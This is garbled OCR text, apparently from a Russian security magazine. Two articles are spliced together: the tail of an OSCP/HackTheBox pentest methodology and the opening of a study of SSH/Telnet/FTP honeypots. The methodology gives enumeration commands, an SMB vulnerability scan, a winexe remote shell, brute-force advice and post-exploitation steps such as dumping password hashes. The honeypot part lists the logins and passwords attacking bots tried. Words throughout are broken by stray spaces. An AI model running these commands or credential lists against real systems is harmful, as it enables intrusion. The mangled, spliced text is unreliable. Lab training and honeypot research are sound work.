$ nmap ‐‐script ftp‐* ‐p21 x.x.x.x 

Наш лись воз можные уяз вимос ти? Отлично! Запиши их себе, но не брос  айс  я
сра зу  же  про бовать!  У  нас  еще  стольк  о  непр  оверен ных  порт  ов.  Ты  же
не  хочешь  попасть  в  крол  ичью  нору?  Но  если  больш  е  ничего  не  наш лось  —
тоже не беда! В разд  еле «Поиск уяз вимос тей» я рас ска жу, где еще их можн  о
поиск  ать.

Вот  небольш  ой  спис  ок  того,  что  мне  встреч  алось  на  FTP  в  лабора тори ях
и HTB.
• FTP‐серв  ер, уязв  имый к перепол нению буфера.
• Дост  уп  к  пол ному  содерж  имому  диск  а  C,  где  уда лось  найт  и  кон фигура‐ 

цион ные файл  ы с логинам  и к друг  ому сер вису.
• Воз можность записать файл в дирек торию веб‐серв  ера для дальн  ейше го

выпол нения кода.
• Directory Traversal (воз можность читать файл  ы не тольк  о из папк  и FTP‐сер‐ 

вера).
• И еще мно гое друг  ое! Не забывай дописыв  ать к сво ей методи ке удачн  ые

ходы.

22-й порт
Обычн  о это порт SSH, но мы же не доверяе  м числ  ам! Про верь его с помощью
nc.

$ nc ‐nv x.x.x.x 22 

Прим  ер отве та SSH

От лично,  это  точ но  SSH!  Видишь  верс  ию  пакета?  OpenSSH_8.2p1.  Дальш  е
сло ва Ubuntu‐4ubuntu0.1 говорят нам о том, что это, ско рее всег  о, Ubuntu.
Поис кав  в  Google  «openssh  8.2p1  4ubuntu0.1  version»,  мы  можем  с  больш  ой
долей увер  ен ности сказ  ать, что это вер сия Focal 20.04. Запиши эту информа‐ 
цию, возм  ожно, она при годит ся.

Теп  ерь нужн  о получить отпеч  аток (fingerprint) для SSH.

$ ssh [email protected] 

Для чего нам эта информац  ия? Напр  имер, посм  отреть, нет ли для этог  о отпе‐ 
чат ка извест  но го при ват ного клю ча SSH. Обяз  атель но проч  итай об уяз вимых
клю чах SSH.

Те перь  остал  ось  самое  интер  есн  ое  и  сложн  ое.  Научись  понимать  рас‐ 
ширенн  ый вывод SSH. Для это го прост  о запуст  и SSH с ключ  ом ‐v.

$ ssh [email protected] ‐v

Сна чала  ты  можешь  быть  шокиро ван  разм  ером  появив шегося  тек ста,  но  он
крайн  е важен! Изу чи его.

По чему  это  так  важ но?  В  лабора тории  и  HTB  очень  час то  встре чались
машины  со  ста рым  SSH‐серв  ером,  к  которо му  отка зыва ется  подк  люч  ать ся
свеж  ий Kali, так как он будет счит  ать алгор  итм шиф рования устар  евш  им и не
отда вать  ключ  через  SSH,  а  серв  ер,  выпущенн  ый  в  2014  году,  счит  ает  его
впол не безопас ным. Тогд  а без опции ‐v ты прост  о получишь отказ в дос тупе,
но  никог да  не  узна ешь  почему,  а  дост  аточн  о  было  прос то  добавить  пару
опций  в  стро ку  подк  лю чения.  С  таким  я  тоже  сталк  ивал ся,  и  это  один
из популяр ных вопр  осов на форуме сту ден тов. В общем, вним  ательн  о изуч  и
вывод SSH с клю чом ‐v и обя затель но в нем разб  ерись!

Есл  и у тебя есть спис  ок логинов и паролей, можешь поп робовать подоб‐ 
рать  их,  нап ример  прогр  аммой  Hydra.  Как  и  всегд  а,  запиши  эти  зна ния
и опро буй их в сво ей методик  е! И если нашел в чьем‐то райт  апе инте рес ные
спо собы работы с SSH, тоже обяз  атель но раз берись и добавь их себе!

Что инте рес ного встре чалось мне при работе с SSH?
• Те  самые  «пло хие»  ключ  и  SSH,  которые  можн  о  опред  елить  и  подоб рать

по отпе чат ку.
• Уяз вимые клю чи, которые можн  о подоб рать по отпеч  ат ку пуб личног  о клю‐ 

ча.
• Уяз вимость  в  ранн  их  вер сиях  SSH,  позв  оляв шая  перечис лять  локальн  ых

поль зовате лей.
• Нес  ов падение вер сий клие  нта и сер вера, тре бующее спе циальн  ых фла гов

для работы.
• Рас кры тие  точн  ой  информа ции  о  вер сии  и  ОС  серв  ера,  позв  оля ющее

про изво дить даль нейшее иссле дова ние фай лов через path traversal.

80-й порт
Са мый популяр ный и самый безг  ран  ич ный для исслед  ова ния порт — именн  о
на нем живут все веб‐сер висы. Но мы пока не будем даже запус кать бра узер,
а методич но про верим всю дос тупную информац  ию!

Тут нам уже не поможет nc. Но я все рав но рекоменд  ую вна чале запуст  ить
его.

$ nc ‐nv x.x.x.x 80 

Вдруг  это  пряч  ет ся  SSH‐сер вер  на  80‐м  порт  е.  Даль ше  про верь  заголов ки
сер вера:

$ curl ‐I x.x.x.x 

Там наверн  яка может най тись тип сер вера и его вер сия, верс  ия PHP, если он
исполь зует ся, и друг  ая очень полезн  ая информа ция.

Ин форма ция о сер вере

Как  видишь,  на  нашем  при мере  серв  ер  защищае  т  сер вис  защиты  от  DDOS‐
атак  Qrator,  а  стро ка  Link:  <https://xakep.ru/wp‐json/>;  rel=https://
api.w.org/ говорит нам, что сайт, ско рее всег  о, работае  т на WordPress.

Приш ло  вре мя  заг лянуть  в  исходный  код  стран  ицы!  (Опция  ‐L  позв  оляе  т
кор рект  но обраб  атыв  ать редирек ты серв  ера.)

$ curl ‐i ‐L x.x.x.x 

Здесь ты можешь поп ракти коватьс  я в чтен  ии HTML и поис ке с помощью grep
и регуляр ных выраже ний. Что след  ует искать и уметь опред  елять?
• Вер сию CMS и ее наз вание.
• Шаб лонизат  ор, на котором может быть пос трое  н сайт.
• Лю бые ком ментар  ии и вре мен но скрыт  ые ссыл ки на дру гие сай ты или раз‐ 

делы.
• Ссыл ки на дру гие подд  омены (особ  енн  о актуа  льн  о для HTB).
• Вер сии под клю чаемых биб лиотек (иногд  а поз воля ют кос венно опре делить

верс  ию CMS).

Теп  ерь  наконец  запуст  и  бра узер  и  посм  отри,  нет  ли  чего  инте ресн  ого.
Это самая твор ческая часть, и тут как раз нужн  о банальн  о набить руку. Читай
мно го  райт  апов  и  запоми най,  что  и  как  дела ют  люди.  Что  нас  может  инте‐ 
ресо вать здесь:
• есть ли фай лы robots.txt или sitemap.xml;
• есть ли форм  ы обратной связ  и или фор мы аутент  ифика ции;
• есть  ли  закр  ытые  разд  елы,  вари анты  регис трац  ии  или  восс  та нов ления

пароля.

По ищи  исходный  код  CMS  в  интернет  е.  Очень  час то  на  GitHub  можн  о  найт  и
нуж ную  тебе  CMS  и  понять,  на  какие  фай лы  сто ит  обрат  ить  вним  ание  (нап‐ 
ример, на кон фиги), там же ты найд  ешь списк  и исправл  енных уязв  имос тей.

Я  использ  ую  очень  удобн  ый  плаг  ин  для  Firefox  Wappalyzer.  Он  позв  оля ет
опред  елять использ  уемые фрейм  вор ки и дру гие особ  енн  ости веб‐сер вера.

В  целом  спис  ок  тут  практ  ическ  и  беск  онеч ный  и  тянет  на  больш  ой  месяч‐ 
ный курс или десяток ста тей.

WWW

Обя зательн  о пос мотри вот на эти чек‐лис ты:
•Web enumeration
•Pentesting Web checklist
Но помн  и, что всег да лучш  е брать луч шее из них
и  собирать  свои,  чтоб  ы  точ но  понимать,  за  что
отве чают каж дый скрипт и коман да!

Ни чего  инте рес ного  не  нашл  ось?  Самое  врем  я  взять  сло варь  и  попытать ся
поис кать  фай лы  и  скры тые  дирек тории.  Тут  мож но  использ  овать  любые
любимые инс трум  ен ты: nikto, Gobuster, DIRB.

$ gobuster dir ‐t 128 ‐u http://x.x.x.x/ ‐w /usr/share/seclists/
Discovery/Web‐Content/common.txt ‐s '200,204,301,302,307,403,500' ‐e

Ска жу  сраз  у:  если  ты  видишь,  что  перебор  займ  ет  часов  пять  или  шесть,  то,
веро ятнее  всег  о,  это  не  тот  путь,  которым  сле дует  идти.  Такое  встреч  алось
мне  в  лабора торн  ых  машинах.  Прос то  пометь  себе,  что  этот  вари ант  ты
не про верил, и иди даль ше.

Что интер  ес ного мне встре чалось в веб‐сер висах?
• SQL и коман дные инъ екции.
• Ин формац  ия о датах рож дения, поз волявш  ая подобр  ать пароль или отве‐ 

тить на секр  етный воп рос в фор ме восс  та нов ления пароля.
• XSS, позв  оляю  щая получить админ ские сес сии.
• Ошибк  и наст  ройк  и веб‐серв  ера.
• Скрип ты  раз работ чика,  которые  вмес те  с  path  traversal  позв  оляли  най ти

фай лы с паролям  и и ска чать их.
• И мно гое, мно гое дру гое.

Для XSS, обхо да фильт  ра ции команд и дру гих инъе  кций я очень рекоменд  ую
один из самых больш  их сбор ников полез ных наг рузок.

Порты 139 и 445
Это извест  ная тебе Samba. Для работы с ней сущест  вуе  т мно жест  во инс тру‐ 
мент  ов, я перечисл  ю лишь некотор  ые из них.

$ enum4linux x.x.x.x 

Так  ты  смо жешь  узнать  имя  хост  а,  его  прин  ад лежность  к  домену  и  рабочей
групп  е,  дос тупные  ресур сы,  возм  ожные  имен  а  польз  овател  ей  и  мног  ое  дру‐ 
гое. Обяз  атель но поэк спе римент  ируй с этой утил  итой.

По лучить спис  ок дос тупных папок мож но такой команд  ой:

$ smbclient ‐L //x.x.x.x ‐N

Ес ли тебе нужн  о рекурс  ивно пос мотреть все папк  и, то пиши

$ smbclient //HOST/PATH ‐c 'recurse;ls' PASS ‐U USER 

Про верь  наличие  извес тных  уязв  имос тей  в  SMB  с  помощью  Nmap.  Eternal‐
Blue — все еще мощн  ый инс тру мент.

$ nmap ‐‐script smb‐vuln* ‐p139,445 ‐T4 ‐Pn 10.11.1.111 

Вот как запус тить удал  ен но команд  у с помощью SMB:

$ winexe ‐U username //10.11.1.111 "cmd.exe" –system 

Со веты  здесь  в  целом  похожи  на  советы  из  разд  ела  о  FTP.  Выясн  и,  какие
ресур сы  тебе  дос тупны,  какие  поль зовате ли  есть  на  серв  ере  (могут  при‐ 
годитьс  я при перебо ре), нет ли полезн  ой информа ции в дос тупных папк  ах. И,
как  всегд  а,  вним  атель но  читай  райт  апы,  под смат ривай  использ  уемые  ути‐ 
литы,  разб  ирайс  я  в  их  работе  и  заноси  в  свою  под борку.  Обя затель но  ста‐ 
рай ся выясн  ить, почему была исполь зована одна ути лита, а не дру гая.

В моей пер сональ ной методик  е еще мно го опис  ан ных пор тов, но я не буду
перечисл  ять  их  даль ше,  а  прост  о  отправ лю  тебя  в  уже  извес тный  тебе
чек‐лист по пор там.

ПОИСК УЯЗВИМОСТЕЙ
Теп  ерь, когд  а у тебя есть спи сок исполь зуемо го ПО с верс  иями, самое вре мя
поис кать  извес тные  уяз вимос ти  и  готовые  эксп  ло иты.  В  лаборат  ории  OSCP
тебе вряд ли при дет ся писать собст  венн  ые эксп  ло иты, чаще все го нуж но мак‐ 
симум  поп равить  готовые.  А  вот  сложн  ые  машины  HTB  вполн  е  могут  тре‐ 
бовать ручн  ого написа ния экс плои  та.

Где  же  искать  эксп  ло иты?  Помн  и,  что  не  на  все  уяз вимос ти  есть  готовые
эксп  ло иты и не все уязв  имость позв  оля ют их написать. Поэтом  у стои  т начать
с самой больш  ой базы данн  ых уязв  имос тей cvedetails.com.

Там есть поиск по венд  ору, прогр  амме, вер сиям и друг  им кри тери ям. Мой
тебе совет: никогд  а не превр  ащай ся в скрипт‐кидд  и, который спо собен толь‐ 
ко запус тить прогр  амму и ждать результ  ата. Про читай CVE, пойм  и, почему та
или  иная  прог рамма  уязв  има.  Если  есть  эксп  лои  т,  про верь,  тре бует  ли  он
ком пиляции. Можешь ли ты его собр  ать. Будет ли он работать на тво ей сис‐ 
теме. Какие у него есть началь ные услов  ия.

Част  о быва ет, что есть целый перечень отличных экс пло итов, но они тре‐ 
буют  админ ских  прав  в  CMS  или  на  сай те.  В  этом  случ  ае  тебе  нужн  о  либо
найт  и  дан ные  адми нис тра тора,  либо  искать  друг  ой  вариа  нт  прон  икн  уть
на  машину.  В  лабора тории  OSCP  мне  встрет  илась  машина,  на  которой
не  работал  готовый  экс пло ит  повыше ния  прив  иле гий,  но  сто ило  проч  итать
CVE и прос то заменить одно слов  о, как он снов  а был работос пособен!

Где  брать  эксп  ло иты?  Самая  извест  ная  база  экс пло итов  —  это,  конечн  о,
exploit‐db.com  и  ее  кон сольн  ый  вариа  нт  searchsploit.  Разм  ещен ные  там  экс‐ 
пло иты  дос таточ но  безопас ны  для  исполь зования.  Но  никогд  а  не  огра ничи‐ 
вайс  я ей. Поищи в Google «имя прог раммы вер сия exploit». Очень част  о мож‐ 
но найт  и инте ресн  ые свеж  ие экс пло иты.

WARNING

Ник  ог да  не  запус кай  непр  оверенн  ые  экс пло иты
на  свое  й  машине!  Всег да  читай  исходный  код
и пров  еряй, что он не несет ничего вре доносн  ого.
Всег да луч ше соб рать бинарн  ик самому, чем ска‐ 
чать  его  непонят но  где.  Делай  резер вные  копии
и снап шоты свое  й рабочей сис темы.

Нес кольк  о полезн  ых советов о поис ке экс плои  тов и работе с ними.
1. На учись  в  совер шенс тве  вла деть  searchsploit.  Можешь  пот рениро ватьс  я

на серв  ере Apache: научись показыв  ать толь ко эксп  лои  ты удал  енн  ого дос‐ 
тупа,  а  не  выпол нения  DOS‐атак,  разд  ели  выдачу  по  Apache  httpd
от Apache Tomcat.
2. Поп робуй  поис кать  эксп  ло иты  на  GitHub  с  помощью  Google.  Пойм  и,
как это луч ше делать и как пра виль но фильт  ро вать резуль таты.
3. Нау  чись собирать экс пло иты не толь ко под x86_64, но и под чис тый i386.
Иногд  а такое может очень при годитьс  я.
4. На учись искать и использ  овать эксп  ло иты в Metasploit.

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Этот  раз дел  впол не  бы  потянул  на  неск  оль ко  стат  ей,  поэто му  я  прос то  дам
тебе ссыл ки на отличные статьи о по лучен  ии root‐дос тупа и прав админ  ист  ра‐ 
тора в Windows.

От  себя  добавл  ю  неск  ольк  о  полез ных  советов  и  трю ков,  встре чав шихся
мне в разн  ых ситуа  циях.
• Инст  рум  ент  ы  linPEAS  и  подобн  ые  им  полезн  ы,  но  на  экзам  ена ционн  ых

машинах  OSCP  они  не  находят  абсол  ют но  ничего!  Разб  ерись,  как  они
работаю  т, и набр  осай себе спис  ок нужн  ых команд врод  е поиск  а SUID.
• Пост  авь  и  вни мательн  о  изуч  и  чис тые  Windows  и  Linux.  Тебе  нуж но
понимать,  какие  серв  исы  есть  в  сист  еме  пос ле  уста нов ки,  а  какие  туда
могл  и добавить.
• Увид  ел  неиз вес тную  тебе  прогр  амму?  Обяз  атель но  запиши!  Очень  част  о
через нее можн  о получить повышен  ие прив  иле гий.
• Вним  ательн  о смот ри на стран ности в пап ках sbin и bin. У меня однажды
там  лежал  eximXX  (явно  указ  ана  верс  ия  в  наз вании),  хотя  в  списк  е  уста‐ 
нов ленных  пакетов  его  не  было.  Конеч но  же,  через  него  можн  о  было
получить рут.
• Вним  ательн  о изуч  и дост  упные изнутри порт  ы. Очень част  о внут ри на 127.
0.0.1 есть уяз вимый или пло хо нас трое  нный серв  ис.

Из  очень  интер  есн  ого  я  встре чал  в  лаборат  ория  х  машину  с  Windows  NT  4.0,
с дос тупом по VNC, где пароль адми на был записан на обо ях рабоче го сто ла,
но  был  скрыт  окном  логина.  Нуж но  было  перед винуть  окно  вход  а  в  сист  ему
и прос то про читать пароль «под ков риком».

Ну  и  как  всег да,  заноси  все  найд  енн  ые  инте рес ные  решения  в  свою
методи ку.  Личн  о  для  меня  обыч но  сложн  ее  получить  дост  уп  на  машину,  чем
повысить  в  ней  при виле гии.  Видимо,  ска зывае  тся  боль шой  опыт  работы
архи тект  ором и нас тройк  и раз ных серв  еров.

ПОСТЭКСПЛУАТАЦИЯ
Этот  этап  очень  редк  о  встре чает ся  в  отдель ных  машинах  HTB,  но  крайн  е
важен в лабора тори ях. Впроч  ем, ты мог встре тить такое, если про ходил ввод‐ 
ные машины HTB.

Что нужн  о обяз  атель но сдел  ать на этом этап  е.
1. Соб рать  все  дос тупные  хеши  паролей.  Это  может  быть  mimikatz,  файл 

/etc/shadow,  наст  ройк  и  сер висов  и  баз  дан ных.  В  общем,  все  пароли,
до которых смо жешь дотянутьс  я.
2. Просм  отри  все  сетевые  соедин  ения.  Иног да  можн  о  уви деть  интер  есн  ое
обще ние с дру гими сер верами и най ти пути вхо да на них.
3. Прос мотри  всю  дост  упную  информац  ию  в  базах  дан ных.  Там  могут  быть
логины/пароли для дру гих серв  еров или инте рес ные резер вные копии.
4. Собс твен но  резерв  ные  копии.  Не  прен  ебр  егай  ими,  и,  воз можно,  най‐ 
дешь что‐нибудь важн  ое.
5. Польз  овательс  кие  папк  и.  В  них  могут  быть  те  же  резерв  ные  копии,  исто‐ 
рия  выпол нения  команд  (напр  имер,  использ  ования  пароля  для  под клю‐ 
чения к БД или дру гому сер веру) и так далее.
6. Не  забудь  о  реес тре  Windows.  Там  могут  быть  пароли  к  VNC  и  дру гим
похожим серв  исам.

Обяз  атель но докумен тируй все находк  и. Очень час то у тебя есть информац  ия
для  дост  упа  к  новой  машине,  но  ты  не  можешь  най ти  ее.  Встрет  ил  документ
или  файл  RDP  с  паролем  к  новому  компь ютер  у  в  лаборат  ории  —  сдел  ай
запись об этом! В OSCP пов торное исполь зование паролей — обычн  ое дело.

ЧИСТКА СЛЕДОВ
Пра вило  хорошег  о  тона  в  любой  лабора тории  —  очист  ка  машины  от  сво их
след  ов.  Сюда  вхо дит  уда ление  любых  экс пло итов,  которые  ты  исполь зовал,
возв  рат в перв  оначальн  ое сос тояние машины в лабора тории OSCP, удал  ение
всех шел лов Metasploit. Кстат  и, в экза менац  ионн  ом отчет  е OSCP этом  у пос‐ 
вящен отдельн  ый разд  ел.

ВЫВОДЫ
Вы вод  у  меня  очень  прос той.  Если  ты  хочешь  стать  хорошим  пен тесте ром,
введ  и  сист  емность  в  свои  дей ствия.  Изуч  ай  опер  ацио  нные  сис темы,  сети,
пос тоян но  читай  новые  матери алы  и  попол няй  свои  чек‐лист  ы  и  списк  и  тех‐ 
ник.  В  результ  ате  все го  этог  о  у  тебя  выработ  ает ся  опре деленн  ое  чутье
и понима ние, на что же сто ит обрат  ить вни мание при иссле дован  ии оче ред‐ 
ной  машины.  Если  соберешь ся  сда вать  экзам  ен,  это  вдвойн  е  приг  одит ся.
Нередк  и  слу чаи,  когд  а  сда ющий  прос то  забывал  пров  ерить  содер жимое
robots.txt из‐за стрес са и не брал в ито ге машину. Хороший собст  венн  ый
чек‐лист позв  оля ет сниз  ить стресс и дей ствов  ать более эффективн  о.

Пом ни, напр  авле ние пент  еста пос тоянн  о разв  ива ется и появл  яют ся новые
интер  есн  ые инст  ру мент  ы и техн  ики. Не упуст  и их!

ВЗЛОМ

ЭТО

ЛОВУШКА!

КАК МЫ РАССТАВЛЯЛИ
ХАНИПОТЫ И КТО В НИХ
ПОПАЛСЯ

Михаил Артюхин
[email protected]

Hackcat
[email protected]

Есл  и  ты  хоть  раз  админ  ил  серв  ер,  то  точн  о  знае  шь:  авто‐ 
ризац  ию  по  паролю  нужн  о  отключ  ить  или  серье  зно  огра‐ 
ничить — белым списк  ом, VPN‐шлю зом или еще как‐то. Мы
решили пров  ерить, что будет, если этог  о не сдел  ать, и сей‐ 
час покажем, что получитс  я.

WARNING

Вся  информа ция  пред  ос тавле на  исклю читель но
в  озна комит  ель ных  целях.  Автор  и  редак ция
не  несут  ответс твен ности  за  любой  воз можный
вред,  прич  инен ный  с  исполь зовани ем  свед  ений
из этой статьи.

Встать  под  атак  у  и  пос мотреть,  что  будет,  —  это  луч ший  спос  об  изуч  ить,
как работаю  т хакеры. Это мы и сде лали — купили нес коль ко серв  еров в раз‐ 
ных подс  етях и засели в засаде. Пер вый же неост  орожн  ый бот попал ся все го
через  семь  секунд,  а  меньш  е  чем  через  сут ки  мы  засек ли  больш  е  12  тысяч
гост  ей  на  одном  толь ко  SSH.  Немудр  ено,  что  рано  или  поз дно  учет ные  дан‐ 
ные  ко  мно гим  сер верам  под бира ются,  сами  серв  еры  про дол жают  чер ное
дело сво их созд  ателей, а в сво бод ное врем  я час теньк  о ко пают бит койн  ы.

Мы  расс  мот рим  ата ки  по  нес коль ким  про токол  ам:  SSH  —  как  наибол  ее
популяр ный, Telnet, расп  ростра нен ный в мире IoT, и FTP, куда ломят ся, что бы
залить  шелл  для  даль нейшей  ата ки  или  заразить  исполняе  мые  фай лы.
На один толь ко SSH за вре мя тест  а к нам пост  учались 986 437 раз.

Для чего используют чужие машины

Со  взло ман ного  «умно го»  устройс  тва  можн  о ата ковать  остальн  ую  сеть,  про‐ 
водить  DDoS,  май нить  крип товалю ты,  слать  спам  и  занимать ся  более  изощ‐ 
ренным  и вещами вро де DNS poisoning или перехв  ата тра фика.

Част  о  зло умышл  енник  и  под нима ют  на  зах ваченн  ых  машинах  прокс  и‐сер‐ 
веры. Это ходовой в теневой част  и интерне та товар, даже при бегл  ом поис ке
мы  нашл  и  нес кольк  о  десят ков  пред ложений.  При  этом  обычн  о  прокс  и  про‐ 
дают ся по под писке, а не разово.

Сред ний ценн  ик за 100 штук — порядк  а 25 дол ларов, но рос сий ские прок‐ 
си  ценят ся  куда  дешев ле  —  око ло  12  дол ларов.  За  элит ные  прок си  в  одни
руки  хотят  по  3‐4  дол лара  за  IP,  при  этом  рас ходят ся  они  все  равн  о
как горячие пирожк  и. Видимо, для пос тоян ных клие  нтов пре дус мотре ны скид‐ 
ки, не заявл  енные публ  ично.

ПОДГОТОВКА
Мы  устан  овил  и  ханипот  ы  на  два  сер вера.  Перв  ый  изна чаль но  для  этог  о
исслед  ова ния не предн  азнач  ал ся, так что часть стат  ис тики с него не вклю чает
пароли. На вто ром серв  ере сраз  у были ханипо ты.

В какой‐то момент станд  арт  ный SSH мы перенесл  и на порт 404 («404 SSH
Service  Not  Found»,  ага)  на  обо их  сер верах,  а  штат ный  22‐й  порт  занял
ханипот.  Но  ни  один  бот  его  посл  е  этог  о  не  нашел.  Как  видишь,  заезж  енная
рекоменд  ация перено сить SSH на неожи дан ные порт  ы имее  т смысл, особ  ен‐ 
но когд  а 22‐й порт открыт, но не пода ет виду, что нужн  ый сер вис есть где‐то
еще.

Вы борк  а  в  ито ге  получи лась  неболь шая,  поэтом  у  мы  рас ширили  стат  ис‐ 
тику, про ана лизи ровав логи со взлом  ан ных ботов.

ГДЕ БРАТЬ ХАНИПОТЫ
Вот сами ханипо ты, которые мы исполь зовали для раз ных прот  окол  ов. Естес‐ 
твен но,  сущес твуе  т  мно жест  во  дру гих  решений,  в  том  числ  е  ком мерческ  их,
но их перечисл  ение и сравн  ение — тема для отдельн  ой статьи.

telnetlogger
• robertdavidgraham/telnetlogger

Прост  ой  Telnet‐лог гер,  в  лог  пишет  прос то  пары  логин‐пароль.  IP‐адре са
тоже  записы вают ся,  но  в  сосед ний  файл  и  без  свя зи  с  конк  рет ной  парой
логин‐пароль, что неудобн  о. Завел ся сра зу и лиш них нас тро ек не треб  ует.

SSH Honeypot
• droberson/ssh‐honeypot

Зап  исыв  ает  в  лог  IP,  логин  и  пароль.  Каж дая  запись  помеча ется  вре менн  ой
мет кой,  чего  в  Telnet‐лог гере  нет.  Информа цию  о  вре мени  мож но  исполь‐ 
зовать,  что бы  стро ить  прод винутые  граф  ики,  врод  е  зависи мос ти  интенсив‐ 
ности  атак  от  врем  ени  суток  или  дня  недели,  но  делать  это  мы  не  будем  —
нас в дан ном слу чае инте ресу ет сам факт ата ки и использ  уемые тех ники.

Пер вые  попыт ки  перебо ра  появил  ись  уже  через  семь  секунд  посл  е  акти‐ 
вации ханипо та.

 
[Sun Jan 10 22:40:41 2021] ssh‐honeypot 0.1.0 by Daniel Roberson started 
on port 22. PID 4010913 
[Sun Jan 10 22:40:49 2021] 196.*.*.166 supervisor qwer1234 
[Sun Jan 10 22:41:16 2021] 59.*.*.186 vyatta 123 
[Sun Jan 10 22:41:38 2021] 207.*.*.45 root muiemulta
 

honeypot-ftp
• alexbredo/honeypot‐ftp

Этим  про токо лом  интер  есов  ались  мень ше  все го.  Возм  ожно,  это  связ  ано
с тем, что ханипот для FTP на популяр ных язык  ах нам най ти не уда лось, так что
исполь зовали  что  нашл  и.  Этот  ханипот  даже  при  не  очень  деталь ном  рас‐ 
смот рении  «свет  ит»  тем,  что  написан  на  Twisted  и  тем  самым  отпу гивае  т
некото рые бот неты и не самых тупых ата кующих.

Ска ниро вание ханипо та Nmap

SSH
Для сбо ра ста тис тики мы исполь зовали два раз ных спос  оба. Перв  ый — ана‐ 
лиз логов sshd. Туда попадаю  т в том чис ле попыт ки неудач ной автор  иза ции,
которые  мы  вытащи ли  вмес те  с  информа цией  об  исполь зованн  ых  логинах
и  IP  ата кующих.  Для  расш  ирения  ста тист  ики  мы  решили  использ  овать  сер‐ 
веры, которые нап рямую не пред назнач  ались для это го иссле дова ния, но их
влад  ель цы  любезн  о  пред  ост  авили  нам  выг рузку  записей  journald,  которую
мы тоже про анал  изир  овал  и в этом бло ке.

Вто рой спо соб — непос редс твенн  о ана лиз логов ханипот  ов. Тут в ана лиз
попали  такж  е  и  пароли,  с  которым  и  при ходил  и  ата кующие.  Эта  ста тист  ика
не столь обширна, но зато макс  имальн  о точ на.

Сам  ый час тый логин ожид  аемо — root. В логах ханипо тов он встрет  ил ся
в  общей  сложн  ости  85  563  раза  —  свы ше  чем  на  порядок  боль ше  втор  ого
мест  а (oracle — 7832).

По  вер сии  sshd,  отрыв  «рута»  от  всех  осталь ных  еще  боль ше:
408  778  попыток  логина  под  рутом  прот  ив  321  467  всех  осталь ных  (55,9%
вооб ще всех попыток логина). Втор  ой по популярн  ости логин в спис ке даже
не пыта ется конк  уриро вать с «рутом». Логин admin наб рал все го 15 331 сра‐ 
баты вание,  что  в  26,7  раза  меньш  е  почет ного  перв  ого  мес та.  На  третье  м
мес те  расп  оложил ся  test,  наб равший  еще  впо лови ну  меньш  е  детект  ов  —
все го 8624.

Вот рейт  инг самых популярн  ых логинов. Пер вые две колонк  и — по логам
sshd, пос ледние — по ханипот  ам.

Звез дочкам  и я замазал IP тест  овых сер веров. Видимо, некотор  ые осо бо ода‐ 
рен ные  боты  счи тают,  что  админ  мог  пос тавить  в  качес тве  логина  IP‐адрес
самого сер вера. Кста ти, залоги нить ся с IP вмест  о логина попр  обова ло всег  о
нес кольк  о ботов, но они оказ  ались очень наст  ойч  ивыми и поэтом  у вывели эти
логины в топ.

Из  интер  есн  ых  логинов  в  журн  алах  ханипот  ов  так же  отме тились  ubnt
(видимо,  сок ращение  от  «ubuntu»,  1001  случ  ай),  web  (897),  demo  (885),
MikroTik (795), pi (стан дарт  ный польз  ователь на Raspberry Pi, 770), teleco‐
madmin  (штат ный  логин  на  мно гих  роутер  ах,  748),  minecraft  (293),  baikal
(292), dev  (173),  ts  (166),  odoo  (158),  vbox  (154),  sinusbot  (120),  csgoserver
(100), mcserver (80), hacker (45), cactiuser (45), xxx (28), miner (17) и ter‐
raria (14).

Бы ла еще 51 попыт ка зай ти с пуст  ым паролем. То есть боты ата куют игро‐ 
вые  серв  еры  (Minecraft,  CS:GO  и  Terraria  —  это  игры,  и  вари антов  логинов
с  ними  было  дос таточн  о),  роуте ры  (telecomadmin  —  класс  ика  для  роутер  ов
Huawei и дру гих), ну и прост  о про буют логины наугад.

В логах sshd так же отмет  ились уже зна комые нам ubnt (1558), demo (1370),
pi  (1312),  web  (1129),  minecraft  (1006),  MikroTik  (661),  sinusbot  (433),  ну
и про чие (huawei, linux, nvidia — кто вооб ще так юзер  ов называ ет?).

Как  ой‐то  осо бенн  о  дикий  бот  пытал ся  бру тить  со  спис ком  паролей
в качест  ве логинов. Полюбуй ся!

 
1 !234QwerAsdf 
1 !@#!@#!@#! 
1 !@#$% 
1 !@#$%QWERT 
1 !@#$%^ 
1 !@#$%&*()_+ 
1 !@#$%&*()_+| 
1 !@#$%qwer 
1 !@#$%qwert\r 
1 !@#$qwer 
1 !@#123$%^ 
1 !@#1234 
1 !@#123qwas 
1 !@#321Qwe 
1 !@#456qweASD 
1 !@#QWE123QWE 
1 !@#abc123 
1 !@#edc!@# 
1 !@#qwe$%^ 
1 !@#wsx!@# 
1 !Passw0rd! 
1 !Password@ 
1 !Q#E@W$R 
1 !QA2ws3ed 
1 !QAZ 
1 !QAZ1231xsw 
1 !QAZ2wsx\r 
1 !QAZ@WSX3EDC 
1 !QAZWSX0a 
1 !QAZX(OL<M 
1 !QAZXSW@#EDC!@# 
1 !QAZxsw2#EDCvfr4%TGBnhy6 
1 !QAZzaq1@WSX 
1 !QAz@WSx#EDcRFv 
1 !QWASZX1 
1 !Qaz 
1 !Qaz!Qaz 
1 !password! 
...
 

На  ханипо тах  мы  зафик сировал  и  4981  уник  аль ный  логин,  в  логах  sshd  —
30 036 уник  аль ных.

Те перь  к  паролям.  По  уже  упом  янут  ым  при чинам  мы  не  можем  ана лизи‐ 
ровать пароли для всех атак (которых поч ти мил лион). Так что имей в виду, что
расс  мот ренные ниже пароли получе ны со срав нитель но неболь шой выборк  и
в прим  ер но 200 тысяч попыток.

Лучш  им паролем года призн  ает ся root с 19 600 обна руже ний. А свя щен‐ 
ный  123456  расп  оложил ся  на  втор  ом  мест  е  с  7284  попыт ками  исполь‐ 
зования. Ниже прив  ожу спис  ок луч ших (самых популяр ных) паролей для тво‐ 
его сер вера:

 
 2966 J5cmmu=Kyf0‐br8CsW 
 3306 11111 
 3528 qwerty 
 3943 12345 
 4272 1234 
 4501 test 
 4704 123 
 4924 admin 
 7284 123456 
19600 root
 

Из  всех  них  вопр  осы  вызыва ет  толь ко  «J5cmmu...».  Мне  не  уда лось  опре‐ 
делить, чей это станд  ар тный пароль, а гугл  еж прив  ел толь ко к более стар  ым
резуль татам подоб ных исслед  ова ний и под твержден  иям того, что мы не одни
заин тересо вались этой мист  ери ей.

В топ‐100 вошел так же password (13‐е мест  о из 2479 детект  ов), 12345678
(18  из  1053),  pi  (38  из  431)  и  paspberry  (39  из  424),  hlL0mlNAabiR
(49  из  305),  telecomadmin  (65  из  220)  и  changeme  (84  из  106).  В  остальн  ом
ничего осо бен ного, кром  е 2262 попыток логина с пуст  ым паролем.

